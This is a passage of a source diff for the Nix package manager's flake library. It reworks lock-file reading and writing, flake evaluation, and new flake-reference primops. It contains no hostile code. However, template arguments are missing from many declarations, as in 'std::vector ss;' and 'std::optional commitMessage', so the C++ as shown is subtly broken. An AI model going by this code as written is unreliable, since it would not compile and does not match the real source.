parseFlakeRef(state.symbols[formal.name]) - }); - } - } - - } else - throw Error("flake '%s' lacks attribute 'outputs'", lockedRef); - - auto sNixConfig = state.symbols.create("nixConfig"); - - if (auto nixConfig = vInfo.attrs->get(sNixConfig)) { - expectType(state, nAttrs, *nixConfig->value, nixConfig->pos); - - for (auto & setting : *nixConfig->value->attrs) { - forceTrivialValue(state, *setting.value, setting.pos); - if (setting.value->type() == nString) - flake.config.settings.emplace( - state.symbols[setting.name], - std::string(state.forceStringNoCtx(*setting.value, setting.pos))); - else if (setting.value->type() == nPath) { - PathSet emptyContext = {}; - flake.config.settings.emplace( - state.symbols[setting.name], - state.coerceToString(setting.pos, *setting.value, emptyContext, false, true, true) .toOwned()); - } - else if (setting.value->type() == nInt) - flake.config.settings.emplace( - state.symbols[setting.name], - state.forceInt(*setting.value, setting.pos)); - else if (setting.value->type() == nBool) - flake.config.settings.emplace( - state.symbols[setting.name], - Explicit { state.forceBool(*setting.value, setting.pos) }); - else if (setting.value->type() == nList) { - std::vector ss; - for (auto elem : setting.value->listItems()) { - if (elem->type() != nString) - throw TypeError("list element in flake configuration setting '%s' is %s while a string is expected", - state.symbols[setting.name], showType(*setting.value)); - ss.emplace_back(state.forceStringNoCtx(*elem, setting.pos)); - } - flake.config.settings.emplace(state.symbols[setting.name], ss); - } - else - throw TypeError("flake configuration setting '%s' is %s", - state.symbols[setting.name], showType(*setting.value)); - } - } - - for (auto & attr : *vInfo.attrs) { - if (attr.name != state.sDescription && - attr.name != sInputs && - attr.name != sOutputs && - attr.name != sNixConfig) - throw Error("flake '%s' has an unsupported attribute '%s', at %s", - lockedRef, state.symbols[attr.name], state.positions[attr.pos]); - } - - return flake; + return readFlake(state, originalRef, resolvedRef, lockedRef, state.rootPath(state.store->toRealPath(storePath)), lockRootPath); } Flake getFlake(EvalState & state, const FlakeRef & originalRef, bool allowLookup, FlakeCache & flakeCache) @@ -313,39 +336,57 @@ Flake getFlake(EvalState & state, const FlakeRef & originalRef, bool allowLookup return getFlake(state, originalRef, allowLookup, flakeCache); } +static LockFile readLockFile( + const fetchers::Settings & fetchSettings, + const SourcePath & lockFilePath) +{ + return lockFilePath.pathExists() + ? LockFile(fetchSettings, lockFilePath.readFile(), fmt("%s", lockFilePath)) + : LockFile(); +} + /* Compute an in-memory lock file for the specified top-level flake, and optionally write it to file, if the flake is writable. */ LockedFlake lockFlake( + const Settings & settings, EvalState & state, const FlakeRef & topRef, const LockFlags & lockFlags) { - settings.requireExperimentalFeature(Xp::Flakes); + experimentalFeatureSettings.require(Xp::Flakes); FlakeCache flakeCache; - auto useRegistries = lockFlags.useRegistries.value_or(fetchSettings.useRegistries); + auto useRegistries = lockFlags.useRegistries.value_or(settings.useRegistries); auto flake = getFlake(state, topRef, useRegistries, flakeCache); if (lockFlags.applyNixConfig) { - flake.config.apply(); + flake.config.apply(settings); state.store->setOptions(); } try { + if (!state.fetchSettings.allowDirty && lockFlags.referenceLockFilePath) { + throw Error("reference lock file was provided, but the `allow-dirty` setting is set to false"); + } - // FIXME: symlink attack - auto oldLockFile = LockFile::read( - flake.sourceInfo->actualPath + "/" + flake.lockedRef.subdir + "/flake.lock"); + auto oldLockFile = readLockFile( + state.fetchSettings, + lockFlags.referenceLockFilePath.value_or( + flake.lockFilePath())); debug("old lock file: %s", oldLockFile); std::map overrides; + std::set explicitCliOverrides; std::set overridesUsed, updatesUsed; + std::map, SourcePath> nodePaths; - for (auto & i : lockFlags.inputOverrides) + for (auto & i : lockFlags.inputOverrides) { overrides.insert_or_assign(i.first, FlakeInput { .ref = i.second }); + explicitCliOverrides.insert(i.first); + } LockFile newLockFile; @@ -416,6 +457,7 @@ LockedFlake lockFlake( ancestors? */ auto i = overrides.find(inputPath); bool hasOverride = i != overrides.end(); + bool hasCliOverride = explicitCliOverrides.contains(inputPath); if (hasOverride) { overridesUsed.insert(inputPath); // Respect the “flakeness” of the input even if we @@ -438,8 +480,8 @@ LockedFlake lockFlake( assert(input.ref); - /* Do we have an entry in the existing lock file? And we - don't have a --update-input flag for this input? */ + /* Do we have an entry in the existing lock file? + And the input is not in updateInputs? */ std::shared_ptr oldLock; updatesUsed.insert(inputPath); @@ -451,7 +493,7 @@ LockedFlake lockFlake( if (oldLock && oldLock->originalRef == *input.ref - && !hasOverride) + && !hasCliOverride) { debug("keeping existing input '%s'", inputPathS); @@ -463,9 +505,8 @@ LockedFlake lockFlake( node->inputs.insert_or_assign(id, childNode); - /* If we have an --update-input flag for an input - of this input, then we must fetch the flake to - update it. */ + /* If we have this input in updateInputs, then we + must fetch the flake to update it. */ auto lb = lockFlags.inputUpdates.lower_bound(inputPath); auto mustRefetch = @@ -511,16 +552,13 @@ LockedFlake lockFlake( } } - auto localPath(parentPath); - // If this input is a path, recurse it down. - // This allows us to resolve path inputs relative to the current flake. - if ((*input.ref).input.getType() == "path") - localPath = absPath(*input.ref->input.getSourcePath(), parentPath); - computeLocks( - mustRefetch - ? getFlake(state, oldLock->lockedRef, false, flakeCache, inputPath).inputs - : fakeInputs, - childNode, inputPath, oldLock, lockRootPath, parentPath, !mustRefetch); + if (mustRefetch) { + auto inputFlake = getFlake(state, oldLock->lockedRef, false, flakeCache, inputPath); + nodePaths.emplace(childNode, inputFlake.path.parent()); + computeLocks(inputFlake.inputs, childNode, inputPath, oldLock, lockRootPath, parentPath, false); + } else { + computeLocks(fakeInputs, childNode, inputPath, oldLock, lockRootPath, parentPath, true); + } } else { /* We need to create a new lock file entry. So fetch @@ -537,7 +575,7 @@ LockedFlake lockFlake( nuked the next time we update the lock file. That is, overrides are sticky unless you use --no-write-lock-file. */ - auto ref = input2.ref ? *input2.ref : *input.ref; + auto ref = (input2.ref && explicitCliOverrides.contains(inputPath)) ? *input2.ref : *input.ref; if (input.isFlake) { Path localPath = parentPath; @@ -565,23 +603,25 @@ LockedFlake lockFlake( flake. Also, unless we already have this flake in the top-level lock file, use this flake's own lock file. */ + nodePaths.emplace(childNode, inputFlake.path.parent()); computeLocks( inputFlake.inputs, childNode, inputPath, oldLock ? std::dynamic_pointer_cast(oldLock) - : LockFile::read( - inputFlake.sourceInfo->actualPath + "/" + inputFlake.lockedRef.subdir + "/flake.lock").root.get_ptr(), + : readLockFile(state.fetchSettings, inputFlake.lockFilePath()).root.get_ptr(), oldLock ? lockRootPath : inputPath, localPath, false); } else { - auto [sourceInfo, resolvedRef, lockedRef] = fetchOrSubstituteTree( + auto [storePath, resolvedRef, lockedRef] = fetchOrSubstituteTree( state, *input.ref, useRegistries, flakeCache); auto childNode = make_ref(lockedRef, ref, false); + nodePaths.emplace(childNode, state.rootPath(state.store->toRealPath(storePath))); + node->inputs.insert_or_assign(id, childNode); } } @@ -594,7 +634,9 @@ LockedFlake lockFlake( }; // Bring in the current ref for relative path resolution if we have it - auto parentPath = canonPath(flake.sourceInfo->actualPath + "/" + flake.lockedRef.subdir, true); + auto parentPath = flake.path.parent().path.abs(); + + nodePaths.emplace(newLockFile.root, flake.path.parent()); computeLocks( flake.inputs, @@ -612,63 +654,71 @@ LockedFlake lockFlake( for (auto & i : lockFlags.inputUpdates) if (!updatesUsed.count(i)) - warn("the flag '--update-input %s' does not match any input", printInputPath(i)); + warn("'%s' does not match any input of this flake", printInputPath(i)); /* Check 'follows' inputs. */ newLockFile.check(); debug("new lock file: %s", newLockFile); + auto sourcePath = topRef.input.getSourcePath(); + /* Check whether we need to / can write the new lock file. */ - if (!(newLockFile == oldLockFile)) { + if (newLockFile != oldLockFile || lockFlags.outputLockFilePath) { auto diff = LockFile::diff(oldLockFile, newLockFile); if (lockFlags.writeLockFile) { - if (auto sourcePath = topRef.input.getSourcePath()) { + if (sourcePath || lockFlags.outputLockFilePath) { if (auto unlockedInput = newLockFile.isUnlocked()) { - if (fetchSettings.warnDirty) + if (state.fetchSettings.warnDirty) warn("will not write lock file of flake '%s' because it has an unlocked input ('%s')", topRef, *unlockedInput); } else { if (!lockFlags.updateLockFile) throw Error("flake '%s' requires lock file changes but they're not allowed due to '--no-update-lock-file'", topRef); - auto relPath = (topRef.subdir == "" ? "" : topRef.subdir + "/") + "flake.lock"; + auto newLockFileS = fmt("%s\n", newLockFile); - auto path = *sourcePath + "/" + relPath; + if (lockFlags.outputLockFilePath) { + if (lockFlags.commitLockFile) + throw Error("'--commit-lock-file' and '--output-lock-file' are incompatible"); + writeFile(*lockFlags.outputLockFilePath, newLockFileS); + } else { + auto relPath = (topRef.subdir == "" ? "" : topRef.subdir + "/") + "flake.lock"; + auto outputLockFilePath = *sourcePath + "/" + relPath; - bool lockFileExists = pathExists(path); + bool lockFileExists = pathExists(outputLockFilePath); - if (lockFileExists) { auto s = chomp(diff); - if (s.empty()) - warn("updating lock file '%s'", path); - else - warn("updating lock file '%s':\n%s", path, s); - } else - warn("creating lock file '%s'", path); + if (lockFileExists) { + if (s.empty()) + warn("updating lock file '%s'", outputLockFilePath); + else + warn("updating lock file '%s':\n%s", outputLockFilePath, s); + } else + warn("creating lock file '%s': \n%s", outputLockFilePath, s); - newLockFile.write(path); + std::optional commitMessage = std::nullopt; - std::optional commitMessage = std::nullopt; - if (lockFlags.commitLockFile) { - std::string cm; + if (lockFlags.commitLockFile) { + std::string cm; - cm = fetchSettings.commitLockFileSummary.get(); + cm = settings.commitLockFileSummary.get(); - if (cm == "") { - cm = fmt("%s: %s", relPath, lockFileExists ? "Update" : "Add"); + if (cm == "") { + cm = fmt("%s: %s", relPath, lockFileExists ? "Update" : "Add"); + } + + cm += "\n\nFlake lock file updates:\n\n"; + cm += filterANSIEscapes(diff, true); + commitMessage = cm; } - cm += "\n\nFlake lock file updates:\n\n"; - cm += filterANSIEscapes(diff, true); - commitMessage = cm; + topRef.input.putFile( + CanonPath((topRef.subdir == "" ? "" : topRef.subdir + "/") + "flake.lock"), + newLockFileS, commitMessage); } - topRef.input.markChangedFile( - (topRef.subdir == "" ? "" : topRef.subdir + "/") + "flake.lock", - commitMessage); - /* Rewriting the lockfile changed the top-level repo, so we should re-read it. FIXME: we could also just clear the 'rev' field... */ @@ -680,14 +730,6 @@ LockedFlake lockFlake( flake.lockedRef.input.getRev() && prevLockedRef.input.getRev() != flake.lockedRef.input.getRev()) warn("committed new revision '%s'", flake.lockedRef.input.getRev()->gitRev()); - - /* Make sure that we picked up the change, - i.e. the tree should usually be dirty - now. Corner case: we could have reverted from a - dirty to a clean tree! */ - if (flake.lockedRef.input == prevLockedRef.input - && !flake.lockedRef.input.isLocked()) - throw Error("'%s' did not change after I updated its 'flake.lock' file; is 'flake.lock' under version control?", flake.originalRef); } } else throw Error("cannot write modified lock file of flake '%s' (use '--no-write-lock-file' to ignore)", topRef); @@ -697,7 +739,11 @@ LockedFlake lockFlake( } } - return LockedFlake { .flake = std::move(flake), .lockFile = std::move(newLockFile) }; + return LockedFlake { + .flake = std::move(flake), + .lockFile = std::move(newLockFile), + .nodePaths = std::move(nodePaths) + }; } catch (Error & e) { e.addTrace({}, "while updating the lock file of flake '%s'", flake.lockedRef.to_string()); @@ -709,93 +755,234 @@ void callFlake(EvalState & state, const LockedFlake & lockedFlake, Value & vRes) { - auto vLocks = state.allocValue(); - auto vRootSrc = state.allocValue(); - auto vRootSubdir = state.allocValue(); - auto vTmp1 = state.allocValue(); - auto vTmp2 = state.allocValue(); + experimentalFeatureSettings.require(Xp::Flakes); - vLocks->mkString(lockedFlake.lockFile.to_string()); + auto [lockFileStr, keyMap] = lockedFlake.lockFile.to_string(); - emitTreeAttrs( - state, - *lockedFlake.flake.sourceInfo, - lockedFlake.flake.lockedRef.input, - *vRootSrc, - false, - lockedFlake.flake.forceDirty); + auto overrides = state.buildBindings(lockedFlake.nodePaths.size()); - vRootSubdir->mkString(lockedFlake.flake.lockedRef.subdir); + for (auto & [node, sourcePath] : lockedFlake.nodePaths) { + auto override = state.buildBindings(2); - if (!state.vCallFlake) { - state.vCallFlake = allocRootValue(state.allocValue()); - state.eval(state.parseExprFromString( - #include "call-flake.nix.gen.hh" - , "/"), **state.vCallFlake); + auto & vSourceInfo = override.alloc(state.symbols.create("sourceInfo")); + + auto lockedNode = node.dynamic_pointer_cast(); + + // FIXME: This is a hack to support chroot stores. Remove this + // once we can pass a sourcePath rather than a storePath to + // call-flake.nix. + auto path = sourcePath.path.abs(); + if (auto store = state.store.dynamic_pointer_cast()) { + auto realStoreDir = store->getRealStoreDir(); + if (isInDir(path, realStoreDir)) + path = store->storeDir + path.substr(realStoreDir.size()); + } + + auto [storePath, subdir] = state.store->toStorePath(path); + + emitTreeAttrs( + state, + storePath, + lockedNode ? lockedNode->lockedRef.input : lockedFlake.flake.lockedRef.input, + vSourceInfo, + false, + !lockedNode && lockedFlake.flake.forceDirty); + + auto key = keyMap.find(node); + assert(key != keyMap.end()); + + override + .alloc(state.symbols.create("dir")) + .mkString(CanonPath(subdir).rel()); + + overrides.alloc(state.symbols.create(key->second)).mkAttrs(override); } - state.callFunction(**state.vCallFlake, *vLocks, *vTmp1, noPos); - state.callFunction(*vTmp1, *vRootSrc, *vTmp2, noPos); - state.callFunction(*vTmp2, *vRootSubdir, vRes, noPos); + auto & vOverrides = state.allocValue()->mkAttrs(overrides); + + auto vCallFlake = state.allocValue(); + state.evalFile(state.callFlakeInternal, *vCallFlake); + + auto vTmp1 = state.allocValue(); + auto vLocks = state.allocValue(); + vLocks->mkString(lockFileStr); + state.callFunction(*vCallFlake, *vLocks, *vTmp1, noPos); + + state.callFunction(*vTmp1, vOverrides, vRes, noPos); } -static void prim_getFlake(EvalState & state, const PosIdx pos, Value * * args, Value & v) +void initLib(const Settings & settings) { - std::string flakeRefS(state.forceStringNoCtx(*args[0], pos)); - auto flakeRef = parseFlakeRef(flakeRefS, {}, true); - if (evalSettings.pureEval && !flakeRef.input.isLocked()) - throw Error("cannot call 'getFlake' on unlocked flake reference '%s', at %s (use --impure to override)", flakeRefS, state.positions[pos]); + auto prim_getFlake = [&settings](EvalState & state, const PosIdx pos, Value * * args, Value & v) + { + std::string flakeRefS(state.forceStringNoCtx(*args[0], pos, "while evaluating the argument passed to builtins.getFlake")); + auto flakeRef = parseFlakeRef(state.fetchSettings, flakeRefS, {}, true); + if (state.settings.pureEval && !flakeRef.input.isLocked()) + throw Error("cannot call 'getFlake' on unlocked flake reference '%s', at %s (use --impure to override)", flakeRefS, state.positions[pos]); - callFlake(state, - lockFlake(state, flakeRef, - LockFlags { - .updateLockFile = false, - .writeLockFile = false, - .useRegistries = !evalSettings.pureEval && fetchSettings.useRegistries, - .allowUnlocked = !evalSettings.pureEval, - }), - v); + callFlake(state, + lockFlake(settings, state, flakeRef, + LockFlags { + .updateLockFile = false, + .writeLockFile = false, + .useRegistries = !state.settings.pureEval && settings.useRegistries, + .allowUnlocked = !state.settings.pureEval, + }), + v); + }; + + RegisterPrimOp::primOps->push_back({ + .name = "__getFlake", + .args = {"args"}, + .doc = R"( + Fetch a flake from a flake reference, and return its output attributes and some metadata. For example: + + ```nix + (builtins.getFlake "nix/55bc52401966fbffa525c574c14f67b00bc4fb3a").packages.x86_64-linux.nix + ``` + + Unless impure evaluation is allowed (`--impure`), the flake reference + must be "locked", e.g. contain a Git revision or content hash. An + example of an unlocked usage is: + + ```nix + (builtins.getFlake "github:edolstra/dwarffs").rev + ``` + )", + .fun = prim_getFlake, + .experimentalFeature = Xp::Flakes, + }); } -static RegisterPrimOp r2({ - .name = "__getFlake", - .args = {"args"}, +static void prim_parseFlakeRef( + EvalState & state, + const PosIdx pos, + Value * * args, + Value & v) +{ + std::string flakeRefS(state.forceStringNoCtx(*args[0], pos, + "while evaluating the argument passed to builtins.parseFlakeRef")); + auto attrs = parseFlakeRef(state.fetchSettings, flakeRefS, {}, true).toAttrs(); + auto binds = state.buildBindings(attrs.size()); + for (const auto & [key, value] : attrs) { + auto s = state.symbols.create(key); + auto & vv = binds.alloc(s); + std::visit(overloaded { + [&vv](const std::string & value) { vv.mkString(value); }, + [&vv](const uint64_t & value) { vv.mkInt(value); }, + [&vv](const Explicit & value) { vv.mkBool(value.t); } + }, value); + } + v.mkAttrs(binds); +} + +static RegisterPrimOp r3({ + .name = "__parseFlakeRef", + .args = {"flake-ref"}, .doc = R"( - Fetch a flake from a flake reference, and return its output attributes and some metadata. For example: + Parse a flake reference, and return its exploded form. + + For example: ```nix - (builtins.getFlake "nix/55bc52401966fbffa525c574c14f67b00bc4fb3a").packages.x86_64-linux.nix + builtins.parseFlakeRef "github:NixOS/nixpkgs/23.05?dir=lib" ``` - Unless impure evaluation is allowed (`--impure`), the flake reference - must be "locked", e.g. contain a Git revision or content hash. An - example of an unlocked usage is: + evaluates to: ```nix - (builtins.getFlake "github:edolstra/dwarffs").rev + { dir = "lib"; owner = "NixOS"; ref = "23.05"; repo = "nixpkgs"; type = "github"; } ``` - - This function is only available if you enable the experimental feature - `flakes`. )", - .fun = prim_getFlake, + .fun = prim_parseFlakeRef, + .experimentalFeature = Xp::Flakes, +}); + + +static void prim_flakeRefToString( + EvalState & state, + const PosIdx pos, + Value * * args, + Value & v) +{ + state.forceAttrs(*args[0], noPos, + "while evaluating the argument passed to builtins.flakeRefToString"); + fetchers::Attrs attrs; + for (const auto & attr : *args[0]->attrs()) { + auto t = attr.value->type(); + if (t == nInt) { + auto intValue = attr.value->integer().value; + + if (intValue < 0) { + state.error("negative value given for flake ref attr %1%: %2%", state.symbols[attr.name], intValue).atPos(pos).debugThrow(); + } + + attrs.emplace(state.symbols[attr.name], uint64_t(intValue)); + } else if (t == nBool) { + attrs.emplace(state.symbols[attr.name], + Explicit { attr.value->boolean() }); + } else if (t == nString) { + attrs.emplace(state.symbols[attr.name], + std::string(attr.value->string_view())); + } else { + state.error( + "flake reference attribute sets may only contain integers, Booleans, " + "and strings, but attribute '%s' is %s", + state.symbols[attr.name], + showType(*attr.value)).debugThrow(); + } + } + auto flakeRef = FlakeRef::fromAttrs(state.fetchSettings, attrs); + v.mkString(flakeRef.to_string()); +} + +static RegisterPrimOp r4({ + .name = "__flakeRefToString", + .args = {"attrs"}, + .doc = R"( + Convert a flake reference from attribute set format to URL format. + + For example: + + ```nix + builtins.flakeRefToString { + dir = "lib"; owner = "NixOS"; ref = "23.05"; repo = "nixpkgs"; type = "github"; + } + ``` + + evaluates to + + ```nix + "github:NixOS/nixpkgs/23.05?dir=lib" + ``` + )", + .fun = prim_flakeRefToString, .experimentalFeature = Xp::Flakes, }); } -Fingerprint LockedFlake::getFingerprint() const +std::optional LockedFlake::getFingerprint(ref store) const { + if (lockFile.isUnlocked()) return std::nullopt; + + auto fingerprint = flake.lockedRef.input.getFingerprint(store); + if (!fingerprint) return std::nullopt; + + *fingerprint += fmt(";%s;%s", flake.lockedRef.subdir, lockFile); + + /* Include revCount and lastModified because they're not + necessarily implied by the content fingerprint (e.g. for + tarball flakes) but can influence the evaluation result. */ + if (auto revCount = flake.lockedRef.input.getRevCount()) + *fingerprint += fmt(";revCount=%d", *revCount); + if (auto lastModified = flake.lockedRef.input.getLastModified()) + *fingerprint += fmt(";lastModified=%d", *lastModified); + // FIXME: as an optimization, if the flake contains a lock file // and we haven't changed it, then it's sufficient to use // flake.sourceInfo.storePath for the fingerprint. - return hashString(htSHA256, - fmt("%s;%s;%d;%d;%s", - flake.sourceInfo->storePath.to_string(), - flake.lockedRef.subdir, - flake.lockedRef.input.getRevCount().value_or(0), - flake.lockedRef.input.getLastModified().value_or(0), - lockFile)); + return hashString(HashAlgorithm::SHA256, *fingerprint); } Flake::~Flake() { } diff --git a/src/libflake/flake/flake.hh b/src/libflake/flake/flake.hh new file mode 100644 index 000000000..cce17009c --- /dev/null +++ b/src/libflake/flake/flake.hh @@ -0,0 +1,227 @@ +#pragma once +///@file + +#include "types.hh" +#include "flakeref.hh" +#include "lockfile.hh" +#include "value.hh" + +namespace nix { + +class EvalState; + +namespace flake { + +struct Settings; + +/** + * Initialize `libnixflake` + * + * So far, this registers the `builtins.getFlake` primop, which depends + * on the choice of `flake:Settings`. + */ +void initLib(const Settings & settings); + +struct FlakeInput; + +typedef std::map FlakeInputs; + +/** + * FlakeInput is the 'Flake'-level parsed form of the "input" entries + * in the flake file. + * + * A FlakeInput is normally constructed by the 'parseFlakeInput' + * function which parses the input specification in the '.flake' file + * to create a 'FlakeRef' (a fetcher, the fetcher-specific + * representation of the input specification, and possibly the fetched + * local store path result) and then creating this FlakeInput to hold + * that FlakeRef, along with anything that might override that + * FlakeRef (like command-line overrides or "follows" specifications). + * + * A FlakeInput is also sometimes constructed directly from a FlakeRef + * instead of starting at the flake-file input specification + * (e.g. overrides, follows, and implicit inputs). + * + * A FlakeInput will usually have one of either "ref" or "follows" + * set. If not otherwise specified, a "ref" will be generated to a + * 'type="indirect"' flake, which is treated as simply the name of a + * flake to be resolved in the registry. + */ + +struct FlakeInput +{ + std::optional ref; + /** + * true = process flake to get outputs + * + * false = (fetched) static source path + */ + bool isFlake = true; + std::optional follows; + FlakeInputs overrides; +}; + +struct ConfigFile +{ + using ConfigValue = std::variant, std::vector>; + + std::map settings; + + void apply(const Settings & settings); +}; + +/** + * The contents of a flake.nix file. + */ +struct Flake +{ + /** + * The original flake specification (by the user) + */ + FlakeRef originalRef; + /** + * registry references and caching resolved to the specific underlying flake + */ + FlakeRef resolvedRef; + /** + * the specific local store result of invoking the fetcher + */ + FlakeRef lockedRef; + /** + * The path of `flake.nix`. + */ + SourcePath path; + /** + * pretend that 'lockedRef' is dirty + */ + bool forceDirty = false; + std::optional description; + FlakeInputs inputs; + /** + * 'nixConfig' attribute + */ + ConfigFile config; + + ~Flake(); + + SourcePath lockFilePath() + { + return path.parent() / "flake.lock"; + } +}; + +Flake getFlake(EvalState & state, const FlakeRef & flakeRef, bool allowLookup); + +/** + * Fingerprint of a locked flake; used as a cache key. + */ +typedef Hash Fingerprint; + +struct LockedFlake +{ + Flake flake; + LockFile lockFile; + + /** + * Source tree accessors for nodes that have been fetched in + * lockFlake(); in particular, the root node and the overriden + * inputs. + */ + std::map, SourcePath> nodePaths; + + std::optional getFingerprint(ref store) const; +}; + +struct LockFlags +{ + /** + * Whether to ignore the existing lock file, creating a new one + * from scratch. + */ + bool recreateLockFile = false; + + /** + * Whether to update the lock file at all. If set to false, if any + * change to the lock file is needed (e.g. when an input has been + * added to flake.nix), you get a fatal error. + */ + bool updateLockFile = true; + + /** + * Whether to write the lock file to disk. If set to true, if the + * any changes to the lock file are needed and the flake is not + * writable (i.e. is not a local Git working tree or similar), you + * get a fatal error. If set to false, Nix will use the modified + * lock file in memory only, without writing it to disk. + */ + bool writeLockFile = true; + + /** + * Whether to use the registries to lookup indirect flake + * references like 'nixpkgs'. + */ + std::optional useRegistries = std::nullopt; + + /** + * Whether to apply flake's nixConfig attribute to the configuration + */ + + bool applyNixConfig = false; + + /** + * Whether unlocked flake references (i.e. those without a Git + * revision or similar) without a corresponding lock are + * allowed. Unlocked flake references with a lock are always + * allowed. + */ + bool allowUnlocked = true; + + /** + * Whether to commit changes to flake.lock. + */ + bool commitLockFile = false; + + /** + * The path to a lock file to read instead of the `flake.lock` file in the top-level flake + */ + std::optional referenceLockFilePath; + + /** + * The path to a lock file to write to instead of the `flake.lock` file in the top-level flake + */ + std::optional outputLockFilePath; + + /** + * Flake inputs to be overridden. + */ + std::map inputOverrides; + + /** + * Flake inputs to be updated. This means that any existing lock + * for those inputs will be ignored. + */ + std::set inputUpdates; +}; + +LockedFlake lockFlake( + const Settings & settings, + EvalState & state, + const FlakeRef & flakeRef, + const LockFlags & lockFlags); + +void callFlake( + EvalState & state, + const LockedFlake & lockedFlake, + Value & v); + +} + +void emitTreeAttrs( + EvalState & state, + const StorePath & storePath, + const fetchers::Input & input, + Value & v, + bool emptyRevFallback = false, + bool forceDirty = false); + +} diff --git a/src/libflake/flake/flakeref.cc b/src/libflake/flake/flakeref.cc new file mode 100644 index 000000000..a57fce9f3 --- /dev/null +++ b/src/libflake/flake/flakeref.cc @@ -0,0 +1,312 @@ +#include "flakeref.hh" +#include "store-api.hh" +#include "url.hh" +#include "url-parts.hh" +#include "fetchers.hh" +#include "registry.hh" + +namespace nix { + +#if 0 +// 'dir' path elements cannot start with a '.'. We also reject +// potentially dangerous characters like ';'. +const static std::string subDirElemRegex = "(?:[a-zA-Z0-9_-]+[a-zA-Z0-9._-]*)"; +const static std::string subDirRegex = subDirElemRegex + "(?:/" + subDirElemRegex + ")*"; +#endif + +std::string FlakeRef::to_string() const +{ + std::map extraQuery; + if (subdir != "") + extraQuery.insert_or_assign("dir", subdir); + return input.toURLString(extraQuery); +} + +fetchers::Attrs FlakeRef::toAttrs() const +{ + auto attrs = input.toAttrs(); + if (subdir != "") + attrs.emplace("dir", subdir); + return attrs; +} + +std::ostream & operator << (std::ostream & str, const FlakeRef & flakeRef) +{ + str << flakeRef.to_string(); + return str; +} + +FlakeRef FlakeRef::resolve(ref store) const +{ + auto [input2, extraAttrs] = lookupInRegistries(store, input); + return FlakeRef(std::move(input2), fetchers::maybeGetStrAttr(extraAttrs, "dir").value_or(subdir)); +} + +FlakeRef parseFlakeRef( + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir, + bool allowMissing, + bool isFlake) +{ + auto [flakeRef, fragment] = parseFlakeRefWithFragment(fetchSettings, url, baseDir, allowMissing, isFlake); + if (fragment != "") + throw Error("unexpected fragment '%s' in flake reference '%s'", fragment, url); + return flakeRef; +} + +std::optional maybeParseFlakeRef( + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir) +{ + try { + return parseFlakeRef(fetchSettings, url, baseDir); + } catch (Error &) { + return {}; + } +} + +std::pair parsePathFlakeRefWithFragment( + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir, + bool allowMissing, + bool isFlake) +{ + std::string path = url; + std::string fragment = ""; + std::map query; + auto pathEnd = url.find_first_of("#?"); + auto fragmentStart = pathEnd; + if (pathEnd != std::string::npos && url[pathEnd] == '?') { + fragmentStart = url.find("#"); + } + if (pathEnd != std::string::npos) { + path = url.substr(0, pathEnd); + } + if (fragmentStart != std::string::npos) { + fragment = percentDecode(url.substr(fragmentStart+1)); + } + if (pathEnd != std::string::npos && fragmentStart != std::string::npos) { + query = decodeQuery(url.substr(pathEnd+1, fragmentStart-pathEnd-1)); + } + + if (baseDir) { + /* Check if 'url' is a path (either absolute or relative + to 'baseDir'). If so, search upward to the root of the + repo (i.e. the directory containing .git). */ + + path = absPath(path, baseDir); + + if (isFlake) { + + if (!S_ISDIR(lstat(path).st_mode)) { + if (baseNameOf(path) == "flake.nix") { + // Be gentle with people who accidentally write `/foo/bar/flake.nix` instead of `/foo/bar` + warn( + "Path '%s' should point at the directory containing the 'flake.nix' file, not the file itself. " + "Pretending that you meant '%s'" + , path, dirOf(path)); + path = dirOf(path); + } else { + throw BadURL("path '%s' is not a flake (because it's not a directory)", path); + } + } + + if (!allowMissing && !pathExists(path + "/flake.nix")){ + notice("path '%s' does not contain a 'flake.nix', searching up",path); + + // Save device to detect filesystem boundary + dev_t device = lstat(path).st_dev; + bool found = false; + while (path != "/") { + if (pathExists(path + "/flake.nix")) { + found = true; + break; + } else if (pathExists(path + "/.git")) + throw Error("path '%s' is not part of a flake (neither it nor its parent directories contain a 'flake.nix' file)", path); + else { + if (lstat(path).st_dev != device) + throw Error("unable to find a flake before encountering filesystem boundary at '%s'", path); + } + path = dirOf(path); + } + if (!found) + throw BadURL("could not find a flake.nix file"); + } + + if (!allowMissing && !pathExists(path + "/flake.nix")) + throw BadURL("path '%s' is not a flake (because it doesn't contain a 'flake.nix' file)", path); + + auto flakeRoot = path; + std::string subdir; + + while (flakeRoot != "/") { + if (pathExists(flakeRoot + "/.git")) { + auto base = std::string("git+file://") + flakeRoot; + + auto parsedURL = ParsedURL{ + .url = base, // FIXME + .base = base, + .scheme = "git+file", + .authority = "", + .path = flakeRoot, + .query = query, + }; + + if (subdir != "") { + if (parsedURL.query.count("dir")) + throw Error("flake URL '%s' has an inconsistent 'dir' parameter", url); + parsedURL.query.insert_or_assign("dir", subdir); + } + + if (pathExists(flakeRoot + "/.git/shallow")) + parsedURL.query.insert_or_assign("shallow", "1"); + + return std::make_pair( + FlakeRef(fetchers::Input::fromURL(fetchSettings, parsedURL), getOr(parsedURL.query, "dir", "")), + fragment); + } + + subdir = std::string(baseNameOf(flakeRoot)) + (subdir.empty() ? "" : "/" + subdir); + flakeRoot = dirOf(flakeRoot); + } + } + + } else { + if (!hasPrefix(path, "/")) + throw BadURL("flake reference '%s' is not an absolute path", url); + path = canonPath(path + "/" + getOr(query, "dir", "")); + } + + fetchers::Attrs attrs; + attrs.insert_or_assign("type", "path"); + attrs.insert_or_assign("path", path); + + return std::make_pair(FlakeRef(fetchers::Input::fromAttrs(fetchSettings, std::move(attrs)), ""), fragment); +}; + + +/* Check if 'url' is a flake ID. This is an abbreviated syntax for + 'flake:?ref=&rev='. */ +static std::optional> parseFlakeIdRef( + const fetchers::Settings & fetchSettings, + const std::string & url, + bool isFlake +) +{ + std::smatch match; + + static std::regex flakeRegex( + "((" + flakeIdRegexS + ")(?:/(?:" + refAndOrRevRegex + "))?)" + + "(?:#(" + fragmentRegex + "))?", + std::regex::ECMAScript); + + if (std::regex_match(url, match, flakeRegex)) { + auto parsedURL = ParsedURL{ + .url = url, + .base = "flake:" + match.str(1), + .scheme = "flake", + .authority = "", + .path = match[1], + }; + + return std::make_pair( + FlakeRef(fetchers::Input::fromURL(fetchSettings, parsedURL, isFlake), ""), + percentDecode(match.str(6))); + } + + return {}; +} + +std::optional> parseURLFlakeRef( + const fetchers::Settings & fetchSettings, + const std::string & url, + const std::optional & baseDir, + bool isFlake +) +{ + ParsedURL parsedURL; + try { + parsedURL = parseURL(url); + } catch (BadURL &) { + return 